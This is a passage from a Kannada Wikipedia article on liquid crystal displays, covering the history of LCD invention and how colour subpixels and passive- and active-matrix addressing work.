ಮೋಡ್]]'' (DSM) ಮೇಲೆ ಆಧಾರಿತವಾದ ಕಾರ್ಯಸಾಧನೆಯನ್ನು ಹೊಂದಿದರು. DSM ಪ್ರದರ್ಶನಕ್ಕೆ ವೋಲ್ಟೆಜ್ ಬಳಸಿದರೆ ಆರಂಭದ ಸ್ಪಷ್ಟ ಪಾರದರ್ಶಕ ದ್ರವ ಸ್ಫಟಿಕ ಪದರ ಮಬ್ಬಾದ ಹಾಲಿನ ಸ್ಥಿತಿಗೆ ಬದಲಾವಣೆಯಾಗುತ್ತದೆ. DSM ಪ್ರದರ್ಶನಗಳನ್ನು ಪ್ರಸಾರಣೆಯ ಹಾಗೂ ಪ್ರತಿಬಿಂಬಿಸುವ ರೀತಿಯಲ್ಲಿ ಕಾರ್ಯಾಚರಣೆ ನಡೆಸಬಹುದು ಆದರೆ ಈ ಕಾರ್ಯಾಚರಣೆಗೆ ಅವುಗಳಿಗೆ ಹರಿಯಲು ನಿರ್ದಿಷ್ಟವಾದ ಪ್ರವಾಹದ ಅಗತ್ಯವಿರುತ್ತದೆ.<ref name="cast06">{{Cite journal | title=Modifying Light | first1=Joseph A. | last1=Castellano | journal=American Scientist | volume=94 | issue=5 | year=2006 | pages=438–445}}</ref><ref> ಜಿ. ಎಚ್. ಹೆಲ್‍ಮೇರ್ ಆ‍ಯ್0ಡ್ ಎಲ್. ಎ. ಜಾನೊನಿ, "ಗ್ವೆಸ್ಟ್-ಹೊಸ್ಟ್ ಇಂಟರಾಕ್ಷನ್ಸ್ ಇನ್ ನೆಮಾಟಿಕ್ ಲಿಕ್ವಿಡ್ ಕ್ರಿಸ್ಟಲ್ಸ್. ಎ ನ್ಯೂ ಎಲೆಕ್ಟ್ರೋ-ಆಫ್ಟಿಕ್ ಎಫೆಕ್ಟ್,"Appl. phys ಲೆಟ್., ಸಂಪುಟ.13,no. 3,ಪಿಪಿ. 91–92, 1968</ref><ref> ಜಿ.ಎಚ್.ಹೆಲ್‍ಮೀಯರ್,ಎಲ್. ಎ. ಜಾನೊನಿ, ಆ‍ಯ್0ಡ್ ಎಲ್. ಎ. ಬಾರ್ಟೊನ್, "ಡೈನಾಮಿಕ್ ಸ್ಕ್ಯಾಟರಿಂಗ್:ಎ ನ್ಯೂ ಎಲೆಕ್ಟ್ರಾನಿಕ್ ಎಫೆಕ್ಟ್ ಇನ್ ಸರ‍್ಟೈನ್ ಕ್ಲ್ಯಾಸಸ್ ಆಫ್ ನೆಮ್ಯಾಟಿಕ್ ಲಿಕ್ವಿಡ್ ಕ್ರಿಸ್ಟಲ್ಸ್,"ಪ್ರೊಕ್.ಐಇಇಇ,ವೊಲ್. 56,pp. 1162–1171, ಜುಲೈ 1968</ref> [[ಜಾರ್ಜ್‌ H. ಹೇಲ್‌ಮೇಯರ್‌]]ರನ್ನು ರಾಷ್ಟ್ರೀಯ ಆವಿಷ್ಕಾರರ ಹಾಲ್ ಆಫ್‌ ಫೇಮ್‌ನಲ್ಲಿ ಅಧಿಕಾರಕ್ಕೆ ನೇಮಿಸಲಾಗಿತ್ತು ಹಾಗೂ ಅವರನ್ನು LCD ಆವಿಷ್ಕಾರಕ್ಕಾಗಿ ಗೌರವಿಸಲಾಯಿತು.<ref>{{Cite web |url=http://www.invent.org/2009induction/1_3_09_induction_heilmeier.asp |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2010-02-04 |archive-date=2010-12-05 |archive-url=https://web.archive.org/web/20101205153846/http://www.invent.org/2009induction/1_3_09_induction_heilmeier.asp |url-status=dead }}</ref> * 1960ರ: ಇಂಗ್ಲೆಂಡ್‌ನ [[ಮಾಲ್‌ವೆರ್ನ್‌]]ನಲ್ಲಿ [[UK]]ಯ [[ರಾಯಲ್ ರಾಡಾ ಎಸ್ಟಾಬ್ಲಿಶ್‌ಮೆಂಟ್‌ರಿಂದ]] ಕೊನೆಯ 1960ರಲ್ಲಿ ದ್ರವ ಸ್ಫಟಿಕದ ಮೇಲೆ ಪ್ರಥಮಾನ್ವೇಷಣೆಯ ಕಾರ್ಯ ಪ್ರಾರಂಭಿಸಲಾಗಿತ್ತು. RREಯಲ್ಲಿನ ತಂಡ ಜಾರ್ಜ್‌ ಗ್ರೇ ಹಾಗೂ ಅವರ ತಂಡದವರ ಕಾರ್ಯವನ್ನು [[ಹಲ್ ವಿಶ್ವವಿದ್ಯಾಲಯ]]ದಲ್ಲಿ ಬೆಂಬಲಿಸಿದರು. ಗ್ರೇಯವರ ತಂಡದವರು ಕೊನೆಯದಾಗಿ ಸೈನೊಬೈಫಿನೈಲ್ ದ್ರವ ಸ್ಫಟಿಕಗಳನ್ನು ಸಂಶೋಧಿಸಿದರು (ಇದರಲ್ಲಿ LCDಗಳ ಬಳಸುವಿಕೆಗಳಲ್ಲಿ ಬೇಕಿರುವ ಸರಿಯಾದ ಸ್ಥಿರತೆ ಹಾಗೂ ತಾಪಮಾನದ ಗುಣಗಳಿತ್ತು). * 1970: ಡಿಸೆಂಬರ್ 4, 1670ರಂದು [[ಸ್ವಿಡ್ಜರಲ್ಯಾಂಡ್‌]]ನಲ್ಲಿ ದ್ರವ ಸ್ಫಟಿಕಗಳ [[ತಿರುಚಿದ ನೆಮೆಟಿಕ್ ವ್ಯಾಪ್ತಿಯ ಪರಿಣಾಮ]]ವನ್ನು {0ಹಾಫ್‌ಮೆನ್-ಲಾರೊಶ್‌{/0}ರವರು ಸ್ವಾಮ್ಯ ಪಡೆದುಕೊಂಡರು, ([http://www.lcd-experts.net/ Swiss patent No. 532 261]) ಇವರ ಜೊತೆ ವೊಫ್‌ಗೆಂಗ್ ಹೆಲ್‌ಫ್ರಿಚ್ ಹಾಗೂ [[ಮಾರ್ಟಿನ್ ಶ್ಯಾಡ್‌]]ರು ಸಹಾ (ಅವಾಗ ಕೇಂದ್ರೀಯ ಸಂಶೋಧನ ಪ್ರಯೋಗಾಲಯಗಳಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿದ್ದರು) ಆವಿಷ್ಕಾರ ಮಾಡಿದವರೆಂದು ಪಟ್ಟಿಯಾಗಿತ್ತು.<ref name="cast06" /> ಹಾಫ್‌ಮನ್‌-ಲಾರೊಶ್ ನಂತರ ಈ ಸಂಶೋಧನೆಯ ಪರವಾನಗಿಯನ್ನು ಸ್ವಿಸ್‌ನ ಉತ್ಪಾದಕರಾದ [[ಬ್ರೌನ್, ಬೊವೇರಿ ಹಾಗೂ ಸಿಐ]] ಇವರಿಗೆ ಮತ್ತು ಜಪಾನಿಯ ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್ ಉದ್ಯಮಕ್ಕೆ ನೀಡಿದರು. ಸ್ವಿಸ್ ಉತ್ಪಾದಕರು 1970ರ ಕಾಲದಲ್ಲಿ ಕೈಗಡಿಯಾರದ ಪ್ರದರ್ಶನದಲ್ಲಿ ಇದನ್ನು ಬಳಸಿದರು ಮತ್ತು ಜಪಾನಿಯರು ಮೊದಲ ಡಿಜಿಟಲ್ ಕ್ವಾರ್ಟ್ಸ್ ಕೈಗಡಿಯಾರಗಳನ್ನು TN-LCD ಗಳೊಂದಿಗೆ ಉತ್ಪಾದಿಸಿ ಇನ್ನು ಹಲವು ಇತರ ಉತ್ಪಾದನೆಗಳಲ್ಲಿ ಇದರ ಬಳಕೆ ಮಾಡಿದರು. ಏಪ್ರಿಲ್ 22,1971ರಲ್ಲಿ, [[ಜೆಮ್ಸ್ ಫರ್‌ಗಾಸನ್]] [[ಕೆಂಟ್ ರಾಜ್ಯ ವಿಶ್ವವಿದ್ಯಾಲಯ]]ದ [[ದ್ರವ ಸ್ಫಟಿಕ ಸಂಸ್ಥೆ]]ಯಲ್ಲಿ ಸರದಾರಿ ಅರೋರ ಹಾಗೂ [[ಆಲಫ್ರೆಡ್ ಸೊಪ್]] ಜೊತೆ ಕಾರ್ಯ ನಿರ್ವಹಿಸುತ್ತಿರುವಾಗ USAನಲ್ಲಿ ತದ್ರೂಪಿನ ಸ್ವಾಮ್ಯದ ಸನ್ನದಿನ ಅರ್ಜಿ ಹಾಕಿದರು.<ref>{{cite web | title = Modifying Light | work = American Scientist Online | url = http://www.americanscientist.org/template/AssetDetail/assetid/53321/page/4;jsessionid=aaa6J-GFIciRx2%3Ci%3ELive | access-date = 2010-02-04 | archive-date = 2008-12-20 | archive-url = https://web.archive.org/web/20081220055207/http://www.americanscientist.org/template/AssetDetail/assetid/53321/page/4;jsessionid=aaa6J-GFIciRx2%3Ci%3ELive | url-status = dead }}</ref> 1971ರಲ್ಲಿ ಫರ್‌ಗಾಸನ್‌ರ ಕಂಪನಿ [[ILIXCO]] (ಈಗ [[LXD ಜೊತೆ ಸಂಘಟಿತಗೊಂಡಿದೆ]]) TN-ಪರಿಣಾಮದ ಮೇಲೆ ಆಧಾರಿತ ಮೊದಲ LCDಗಳನ್ನು ಉತ್ಪಾದಿಸಿದರು, ಇದರ ಕಡಿಮೆ ವೋಲ್ಟೇಜ್‌ಗಳಲ್ಲಿ ಕಾರ್ಯ ನಿರ್ವಹಿಸುವುದರಲ್ಲಿ ಅಭಿವೃದ್ಧಿ ಹಾಗೂ ಕಡಿಮೆ ವಿದ್ಯುತ್ ಬಳಕೆಯಿಂದಾಗಿ ಇದು ಬೇಗನೆ ಕಡಿಮೆ-ಗುಣಮಟ್ಟದ DSM ಶ್ರೇಣಿಗಳನ್ನು ಹಿಂದೆ ಹಾಕಿತು. * 1972: ಸಂಯುಕ್ತ ರಾಷ್ಟ್ರದಲ್ಲಿ ಟಿ. ಪೀಟರ್ ಬ್ರೊಡಿರವರು ಮೊದಲ ಸಕ್ರಿಯ-ವ್ಯೂಹ ದ್ರವ ಸ್ಫಟಿಕ ಪ್ರದರ್ಶನದ ಪ್ಯಾನಲ್ (ನಿಯಂತ್ರಣಕ್ಕೆ ಮತ್ತು ಸಲಕರಣೆಗಳಿಗೆ ಮಾಡಿರುವ ಪ್ರತ್ಯೇಕ ಹಲಗೆ) ಉತ್ಪಾದಿಸಿದರು.<ref> ಬ್ರಾಡಿ, ಟಿ.ಪಿ.,''"ಬರ್ತ್ ಆಫ್ ದ ಆ‍ಯ್‌ಕ್ಟಿವ್ ಮ್ಯಾಟ್ರಿಕ್ಸ್"'' ಮಾಹಿತಿ ಫೇಜ್ ನಂ,ಸಂಪುಟ. 13,ನಂ.10,1997,pp.28-32.</ref> * 2007: 2007ರ 4Qನಲ್ಲಿ ಮೊದಲ ಬಾರಿಗೆ LCD ದೂರದರ್ಶನಗಳು ಜಗತ್ತಿನಾದ್ಯಂತ ಮಾರಾಟದಲ್ಲಿ CRT ಘಟಕಗಳನ್ನು ಮೀರಿಸಿದವು.<ref>{{cite news |url=http://www.engadgethd.com/2008/02/19/worldwide-lcd-tv-shipments-surpass-crts-for-first-time-ever/ |title=Worldwide LCD TV shipments surpass CRTs for first time ever |publisher=engadgetHD |date=2008-02-19 |accessdate=2008-06-13 |archive-date=2008-05-03 |archive-url=https://web.archive.org/web/20080503202816/http://www.engadgethd.com/2008/02/19/worldwide-lcd-tv-shipments-surpass-crts-for-first-time-ever/ |url-status=dead }}</ref> * 2008:[[ಪ್ರದರ್ಶನ ಬ್ಯಾಂಕಿನ]] ಪ್ರಕಾರ 2008ರಲ್ಲಿ ವಿಶ್ವವ್ಯಾಪಕವಾಗಿ ಒಟ್ಟು 200 ಮಿಲಿಯನ್ TVಗಳಲ್ಲಿ ಸುಮಾರು 50% ಮಾರುಕಟ್ಟೆಯ ಪಾಲು LCD TVಗಳ ಸರಕಿನ ಸಾಗಣೆಯಾಗಬಹುದು ಎಂದು ಅಂದಾಜು ಮಾಡಲಾಗಿತ್ತು.<ref>{{cite news |url=http://www.displaybank.com/eng/info/news/press_show.php?id=2996 |title=Displaybank's Global TV Market Forecasts for 2008 - Global TV market to surpass 200 million units |publisher=Displaybank |date=2007-12-05 |accessdate=2008-06-13}}</ref> ಆರಂಭದ ದಿನಗಳಲ್ಲಿನ ದ್ರವ ಸ್ಫಟಿಕ ಪ್ರದರ್ಶನದ ಉತ್ಪತ್ತಿಯ ವಿಸ್ತಾರವಾದ ವಿವರಣೆ ಹಾಗೂ ಜಟಿಲ ಇತಿಹಾಸವನ್ನು ಆಂತರಿಕ ದೃಷ್ಟಿಕೋನದಿಂದ ಜೋಸೆಫ್ A. ಕೆಸ್ಟೆಲಾನೊ ಅವರು ಒಂದು ಬರವಣಿಗೆ ಪ್ರಕಟಿಸಿದರು. ಅದು ''ಲಿಕ್ವಿಡ್ ಗೋಲ್ಡ್: ದ ಸ್ಟೋರಿ ಆಫ್ ಲಿಕ್ವಿಡ್ ಕ್ರಿಸ್ಟಲ್ ಡಿಸ್‌ಪ್ಲೇಸ್ ಅಂಡ್ ದ ಕ್ರಿಯೇಶನ್ ಆಫ್ ಎನ್ ಇಂಡಸ್ಟ್ರಿ'' .<ref> ''ಲಿಕ್ವಿಡ್ ಗೊಲ್ಡ್: ದ ಸ್ಟೋರಿ ಆಫ್ ಲಿಕ್ವಿಡ್ ಕ್ರಿಸ್ಟಲ್ ಡಿಸ್‌ಪ್ಲೇಸ್ ಆ‍ಯ್0ಡ್ ದ ಕ್ರಿಯೇಷನ್ ಆಫ್ ಆ‍ಯ್‌ನ್ ಇಂಡಸ್ಟ್ರಿ'' ,ಜೋಸೆಫ್ ಎ. ಕ್ಯಾಸ್ಟಲೆನೊ,2005 ವರ್ಲ್ಡ್ ಸೈಂಟಿಪಿಕ್ ಪಬ್ಲಿಷಿಂಗ್ co. Pte.Ltd.,ISBN 981-238-956-3.</ref> ಇನ್ನೊಂದು ವರದಿಯ ಪ್ರಕಾರ LCDಯ ಉತ್ಪತ್ತಿ ಹಾಗೂ ಇತಿಹಾಸವನ್ನು ಬೇರೊಂದು ದೃಷ್ಟಿಕೋನದಿಂದ ಹಿರೊಶಿ ಕವಾಮೊಟೊ ಅವರು ಪ್ರಕಟಿಸಿದ್ದಾರೆ, ಇದು [[IEEE]]ನ ಐತಿಹಾಸಿಕ ಕೇಂದ್ರದಲ್ಲಿ ಲಭ್ಯವಿದೆ.<ref>[http://ieee.org/portal/cms_docs_iportals/iportals/aboutus/history_center/LCD-History.pdf ದ ಹಿಸ್ಟರಿ ಆಫ್ ಲಿಕ್ವಿಡ್-ಕ್ರಿಸ್ಟಲ್ ಡಿಸ್‌ಪ್ಲೇಸ್], ಹಿರೊಶಿ ಕವಾಮೊಟೊ, ''ಪ್ರೊಸಿಡಿಂಗ್ಸ್ ಆಫ್ ದ ಐಇಇಇ'' , '''90''' , #4 (ಎಪ್ರಿಲ್ 2002), pp. 460–500, {{doi|10.1109/JPROC.2002.1002521}}</ref> == ಬಣ್ಣ ಪ್ರದರ್ಶನಗಳು == {{Unreferenced section|date=June 2009}} [[ಚಿತ್ರ:LCD RGB subpixel.jpg|thumb|left|300px|ಕಲರ್ ಎಲ್‍ಸಿಡಿಯ ಒಂದು ಸಬ್‌ಪಿಕ್ಸೆಲ್]] [[ಚಿತ್ರ:XO screen 01 Pengo.jpg|thumb|ವಿಶಿಷ್ಟ ಕಲರ್ ಎಲ್‍ಸಿಡಿಯೊಂದಿಗೆ (ಎಡ) ಒಎಲ್‌ಪಿಸಿ ಎಕ್ಸ್‌ಒ-1 ಡಿಸ್‌ಪ್ಲೇ ಹೋಲಿಕೆ. ಚಿತ್ರಗಳು ಪ್ರತಿ ಸ್ಕ್ರೀನ್‌ನ 1×1 mm ಅನ್ನು ತೋರಿಸುತ್ತವೆ.ವಿಶಿಷ್ಟ ಎಲ್‌ಸಿಡಿಯು ಪಿಕ್ಸೆಲ್ಸ್‌ ಆಗಿರುವ 3 ಸ್ಥಳಗಳ ಗುಂಪುಗಳನ್ನು ಪತ್ತೆ ಮಾಡುತ್ತದೆ. ಎಕ್ಸ್‌ಒ-1 ಡಿಸ್‌ಪ್ಲೇಯು ಪ್ರತಿಯೊಂದು ಸ್ಥಳದ ಮೇಲೆ ಪ್ರತ್ಯೇಕ ಪಿಕ್ಸೆಲ್‌ ಆಗಿ ಕೆಲಸ ಮಾಡುತ್ತದೆ.]] [[File:LCD RGB.jpg|thumb| ಬಣ್ಣಗಳು ಹೇಗೆ ಉತ್ಪತ್ತಿಯಾಗಿವೆ ಎಂಬುದರ ಉದಾಹರಣೆ (ಆರ್-ಕೆಂಪು, ಜಿ-ಹಸಿರು ಮತ್ತು ಬಿ-ನೀಲಿ)]] ಕಲರ್ ಎಲ್‌ಸಿಡಿಗಳಲ್ಲಿ ಹೆಚ್ಚುವರಿ ಫಿಲ್ಟರ್‌ಗಳ (ಪಿಗ್ಮೆಂಟ್‌ ಫಿಲ್ಟರ್‌ಗಳು, ಡೈ ಫಿಲ್ಟರ್‌ಗಳು ಮತ್ತು ಲೋಹದ ಆಕ್ಸೈಡ್‌ ಫಿಲ್ಟರ್‌ಗಳು) ಮೂಲಕ ಪ್ರತಿಯೊಂದು [[ಪಿಕ್ಸೆಲ್‌]]ಅನ್ನು ಮೂರು ಕೋಶ ಅಥವಾ ಉಪಪಿಕ್ಸೆಲ್‌ಗಳನ್ನಾಗಿ ವಿಂಗಡಿಸಲಾಗಿದೆ, ಅವೆಂದರೆ, ಕ್ರಮವಾಗಿ ಕೆಂಪು, ಹಸಿರು ಮತ್ತು ನೀಲಿ. ಪ್ರತಿಯೊಂದು ಉಪಪಿಕ್ಸೆಲ್‌ಅನ್ನು, ಪ್ರತಿಯೊಂದು ಪಿಕ್ಸೆಲ್‌ಗೆ ಸಾವಿರ ಇಲ್ಲವೇ ಮಿಲಿಯನ್‌ಗಳಷ್ಟು ಬಣ್ಣಗಳನ್ನು ಕೊಡುವಂತೆ ನಿಯಂತ್ರಿಸಬಹುದು. [[ಸಿಆರ್‌ಟಿ (CRT) ಮಾನಿಟರ್‍ಗಳು]] ಫಾಸ್‌ಫರ್‌ನ ''ಮೂಲಕ'' ಇಂಥದ್ದೇ 'ಉಪಪಿಕ್ಸೆಲ್‌' ರಚನೆಯನ್ನು ಬಳಸುತ್ತಾರೆ, ಆದರೆ ಸಿಆರ್‌ಟಿಯಲ್ಲಿ ಎಲೆಕ್ಟ್ರಾನ್ ಕಿರಣವು ’ಉಪಪಿಕ್ಸೆಲ್‌’ಗಳನ್ನು ನೇರವಾಗಿ ಹೊಡೆಯುವುದಿಲ್ಲ. ಕೆಂಪು, ಹಸಿರು ಮತ್ತು ನೀಲಿ ಧಾತುಗಳನ್ನು ಉಪಯೋಗಿಸುವುದರಿಂದ, ಎಲ್‌ಸಿಡಿ ಮತ್ತು ಸಿಆರ್‌ಟಿ ಮಾನಿಟರ್‌ಗಳು [[ಆರ್‌ಜಿಬಿ ಬಣ್ಣದ ಮಾದರಿ (RGB ವರ್ಣ ಮಾದರಿ - ಆರ್‌ಜಿಬಿ ಕಲರ್ ಮಾಡೆಲ್‌ )]]ಯ ನೇರ ಅಪ್ಲಿಕೇಷನ್‌ಗಳು ಮತ್ತು ಮನುಷ್ಯನ ದೃಷ್ಟಿಯ [[ತ್ರಿವರ್ಣ]] ಗುಣದ ಕಾರಣ ಅವು ಬಣ್ಣಗಳ ನಿರಂತರ ಪಂಕ್ತಿಯನ್ನು ಪ್ರತಿನಿಧಿಸುತ್ತಿರುವಂತೆ ತೋರುತ್ತದೆ. ಮಾನಿಟರ್‌ನ ಉಪಯೋಗವನ್ನು ಆಧರಿಸಿ, ಬಣ್ಣಗಳ ಭಾಗಗಳನ್ನು ವಿವಿಧ [[ಪಿಕ್ಸೆಲ್‌ ಜಾಮಿತಿ]]ಗಳಲ್ಲಿ ಜೋಡಿಸಬಹುದು. ಒಂದು ವೇಳೆ, ಕೊಟ್ಟಿರುವ ಎಲ್‌ಸಿ‌ಡಿಯಲ್ಲಿ ಯಾವ ಬಗೆಯ ಜಾಮಿತಿಯನ್ನು ಉಪಯೋಗಿಸಲಾಗಿದೆ ಎಂದು ತಂತ್ರಾಂಶಕ್ಕೆ ಗೊತ್ತಿದ್ದರೆ, [[ಸಬ್‌ಪಿಕ್ಸೆಲ್‌ಗೆ ರೂಪಾಂತರ]] ಮಾಡುವ ಮೂಲಕ ಮಾನಿಟರ್‌ನ ದೃಶ್ಯಸಾಂದ್ರತೆಯನ್ನು ಹೆಚ್ಚಿಸಲು ಅದನ್ನು ಬಳಸಬಹುದು. ಈ ತಂತ್ರವು ವಿಶೇಷವಾಗಿ ಪಠ್ಯದ [[ಆಂಟಿ-ಅಲಿಯಾಸಿಂಗ್‌‌]]ಗೆ ಉಪಯುಕ್ತ. ಚಲಿಸುವ ಚಿತ್ರಗಳಲ್ಲಿನ ಬಣ್ಣದ ಬದಲಾವಣೆಗಳಿಗೆ ಪಿಕ್ಸೆಲ್‌ಗಳು ಕೂಡಲೇ ಪ್ರತಿಸ್ಪಂದಿಸದಿದ್ದಾಗ ಆಗುವ ಕಲೆಗಳನ್ನು ನಿಯಂತ್ರಿಸಲು, [[ಪಿಕ್ಸೆಲ್‌ ಓವರ್‌ಡ್ರೈವ್‌]] ಎಂಬುದನ್ನು ಉಪಯೋಗಿಸಬಹುದು. == ನಿಷ್ಕ್ರಿಯ-ಮಾತೃಕೆ ಮತ್ತು ಸಕ್ರಿಯ-ಮಾತೃಕೆ ಸಂಬೋಧಿತ ಎಲ್‌ಸಿಡಿಗಳು == {{Unreferenced section|date=June 2009}} [[ಚಿತ್ರ:LCD display 16x2 alphanumeric.jpg|thumb|left|300px|16 ವೈಶಿಷ್ಟ್ಯಗಳ ಎರಡು ಸಾಲುಗಳಿರುವ ಸಾಮಾನ್ಯ ಕಾರ್ಯದ ಆಲ್ಫಾನ್ಯುಮೆರಿಕ್ ಎಲ್‌ಸಿಡಿ.]] ಕಡಿಮೆ ಭಾಗಗಳನ್ನು ಹೊಂದಿರುವ ಎಲ್‌ಸಿಡಿಗಳು ಅಂದರೆ [[ಡಿಜಿಟಲ್‌ ಗಡಿಯಾರಗಳು]] ಮತ್ತು [[ಪಾಕೆಟ್‌ ಕಾಲ್ಕ್ಯುಲೇಟರ್‌]]ಗಳು, ಪ್ರತಿಯೊಂದು ಭಾಗಕ್ಕೂ ವಿದ್ಯುತ್‌ ಸಂಪರ್ಕವನ್ನು ಹೊಂದಿರುತ್ತದೆ. ಒಂದು ಮೀಸಲಾದ ಹೊರಗಿನ [[ವಿದ್ಯುತ್‌ ಪಥವು]] ಪ್ರತಿಯೊಂದು ಭಾಗವನ್ನು ನಿಯಂತ್ರಿಸಲು ವಿದ್ಯುತ್‌ ಶಕ್ತಿಯನ್ನು ಸರಬರಾಜು ಮಾಡುತ್ತದೆ. ಈ ರೀತಿಯ ಪ್ರದರ್ಶನ ವಿನ್ಯಾಸವು, ಕೆಲವು ಪ್ರದರ್ಶನ ವಸ್ತುಗಳಿಗಿಂತ ಹೆಚ್ಚಿನ ವಸ್ತುಗಳನ್ನು ನಿರ್ವಹಿಸಲಾಗದು. ಸಣ್ಣ ಮೋನೊಕ್ರೋಮ್‌ ಪ್ರದರ್ಶನಗಳು, ಉದಾಹರಣೆಗೆ ವೈಯಕ್ತಿಕ ವ್ಯವಸ್ಥಾಪಕಗಳಲ್ಲಿ, ಅಥವಾ ಹಳೆಯ [[ಲ್ಯಾಪ್‌ಟಾಪ್‌]] ಪರದೆಗಳಲ್ಲಿ, [[ಸೂಪರ್-ಟ್ವಿಸ್ಟೆಡ್‌ ನೆಮ್ಯಾಟಿಕ್‌]] (STN) ಅಥವಾ ಡಬಲ್‌ ಲೇಯರ್ ಎಸ್‌ಟಿಎನ್‌ (DSTN) (ಇವುಗಳಲ್ಲಿ ಎರಡನೆಯದು ಮೊದಲನೆಯದರ ಬಣ್ಣ-ಬದಲಾವಣೆ ತೊಂದರೆಯನ್ನು ನೋಡಿಕೊಳ್ಳುತ್ತದೆ)--ಮತ್ತು ಕಲರ್‌-ಎಸ್‌ಟಿ‍ಎನ್ (CSTN)— ಇಲ್ಲಿ ಆಂತರಿಕ ಫಿಲ್ಟರ್‌ಅನ್ನು ಉಪಯೋಗಿಸಿಕೊಂಡು ಬಣ್ಣವನ್ನು ಸೇರಿಸಬಹುದು- ತಂತ್ರಜ್ಞಾನವನ್ನು ಬಳಸಿಕೊಂಡ ನಿಷ್ಕ್ರಿಯ-ಮಾತೃಕೆ ವಿನ್ಯಾಸವು ಇರುತ್ತದೆ. ಪ್ರದರ್ಶನದ ಪ್ರತಿಯೊಂದು ಅಡ್ಡಸಾಲು ಮತ್ತು ಉದ್ದಸಾಲಿನಲ್ಲಿ ಒಂದೊಂದು ವಿದ್ಯುತ್‌ಪಥ ಇರುತ್ತದೆ. ಪಿಕ್ಸೆಲ್‌ಗಳನ್ನು ಒಂದೊಂದರಂತೆ ಅಡ್ಡಸಾಲು ಅಥವಾ ಉದ್ದಸಾಲಿನ ವಿಳಾಸದ ಪ್ರಕಾರ ಸಂಬೋಧಿಸಲಾಗುತ್ತದೆ. ಈ ರೀತಿಯ ಪ್ರದರ್ಶನವನ್ನು ''ನಿಷ್ಕ್ರಿಯ-ಮಾತೃಕೆ ಸಂಬೋಧಿತ'' ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ, ಏಕೆಂದರೆ ಪಿಕ್ಸೆಲ್‌, ನಿರಂತರ ವಿದ್ಯುತ್‌ ಸರಬರಾಜಿಲ್ಲದೆಯೇ ರಿಫ್ರೆಶ್‌ಗಳ ನಡುವೆ ತನ್ನ ಸ್ಥಿತಿಯನ್ನು ಕಾಪಾಡಿಕೊಳ್ಳಬೇಕಾಗುತ್ತದೆ. ಪಿಕ್ಸೆಲ್‌ಗಳ ಸಂಖ್ಯೆ ಹೆಚ್ಚಾದಂತೆ (ಮತ್ತು ಅದಕ್ಕೆ ಸಮನ್ವಯವಾಗಿ ಕಾಲಂಗಳು ಮತ್ತು ರೋಗಳು) ಈ ವಿಧದ ಪ್ರರ್ದಶಕಗಳು ಕಡಿಮೆ ಕಾರ್ಯಸಾಧ್ಯಯುಳ್ಳದ್ದಾಗಿರುತ್ತದೆ. ತುಂಬಾ ನಿಧಾನವಾದ [[ಪ್ರತಿಕ್ರಿಯೆ ಸಮಯ]] ಮತ್ತು ಕ್ಷಮತೆ ಇಲ್ಲದ [[ವರ್ಣವಿಭಿನ್ನತೆ]] ಇವು ನಿಷ್ಕ್ರಿಯ-ಮಾತೃಕೆಯ ಗುಣಲಕ್ಷಣಗಳನ್ನು ಎಲ್‌‍ಸಿಡಿಗಳು ಸಂಬೋಧಿಸುತ್ತಿವೆ. ಹೆಚ್ಚು [[ರೆಸ್ಯೂಲೂಷನ್]] ಇರುವ ಬಣ್ಣದ ಪ್ರರ್ದಶಕಗಳಾದ ನೂತನ ಎಲ್‌ಸಿಡಿ [[ಗಣಕಯಂತ್ರದ ಪರದೆಗಳು]] ಮತ್ತು [[ದೂರರ್ದಶನಗಳು]] [[ಸಕ್ರಿಯ-ಮಾತೃಕೆ]] ರಚನೆಯನ್ನು ಬಳಸುತ್ತವೆ. [[ತೆಳುವಾದ ವಿದ್ಯುನ್ನಿಯಂತ್ರಕ ಫಲಕಗಳ]] ಮಾತೃಕೆಯನ್ನು ಕಿರಣ ತರಂಗವನ್ನು ನಿರ್ದಿಷ್ಟ ಮಾದರಿಯಲ್ಲಿ ಕಂಪಿಸುವಂತೆ ಮಾಡಿ (ಪೋಲರೈಜಿಂಗ್) ಬಣ್ಣ ಸೋಸುವಿಕೆಗಳಿಗೆ ಸೇರಿಸುವುದು. ಪ್ರತಿಯೊಂದು ಪಿಕ್ಸೆಲ್ ತನ್ನ ಸ್ವಂತ ವಿದ್ಯುನ್ನಿಯಂತ್ರಕವನ್ನು ಹೊಂದಿದ್ದು, ಪ್ರತಿ ಲಂಬಸಾಲಿನ ಗೆರೆಗೆ ಒಂದು ಪಿಕ್ಸೆಲ್‌ಗೆ ತಲುಪಲು ದಾರಿಮಾಡಿಕೊಡುತ್ತದೆ. ಒಂದು ಅಡ್ಡ ಸಾಲು ಕ್ರಿಯಾಶೀಲವಾಗಿದ್ದಾಗ, ಎಲ್ಲಾ ಲಂಬ ಸಾಲುಗಳು ಅಡ್ಡಸಾಲು ಪಿಕ್ಸೆಲ್‌ಗೆ ಜೋಡಣೆಯಾಗಿರುತ್ತದೆ ಮತ್ತು ಸರಿಯಾದ ವಿದ್ಯುತ್ ಶಕ್ತಿಯ ಪ್ರಮಾಣವು ಎಲ್ಲಾ ಲಂಬ ಸಾಲುಗಳಲ್ಲಿ ಚಲಿಸಿರುತ್ತದೆ. ಒಂದು ಅಡ್ಡ ಸಾಲು ನಿಷ್ಕ್ರೀಯಾಶೀಲವಾದ ನಂತರ ಮುಂದಿನ ಅಡ್ಡ ಸಾಲು ಕ್ರಿಯಾಶೀಲಗೊಳ್ಳುತ್ತದೆ. [[ರಿಫ್ರೆಶ್]] ಕ್ರಿಯೆಯ ಸಂದರ್ಭದಲ್ಲಿ ಎಲ್ಲಾ ಅಡ್ಡ ಸಾಲುಗಳು ಕ್ರಮಾನುಗತಿಯಲ್ಲಿ ಕ್ರಿಯಾಶೀಲಗೊಳ್ಳುತ್ತವೆ. ಸಕ್ರಿಯ-ಮಾತೃಕೆಯ ಪ್ರರ್ದಶಕಗಳು ನಿಷ್ಕ್ರಿಯ-ಮಾತೃಕೆಗಳಿಗಿಂತ "ಹೊಳಪು" ಮತ್ತು "ಹರಿತವಾಗಿ" ಕಾಣುವಂತೆ ಕೆಲಸ ಮಾಡಲಾಗುತ್ತದೆ. ನಿಷ್ಕ್ರಿಯ-ಮಾತೃಕೆಗಳು ಅದೇ ಅಳತೆಯ ಪ್ರರ್ದಶಕಗಳ ಮೇಲೆ ಕೆಲಸ ಮಾಡುತ್ತವೆ, ಮತ್ತು ಸಾಮಾನ್ಯವಾಗಿ ಇಲ್ಲಿ 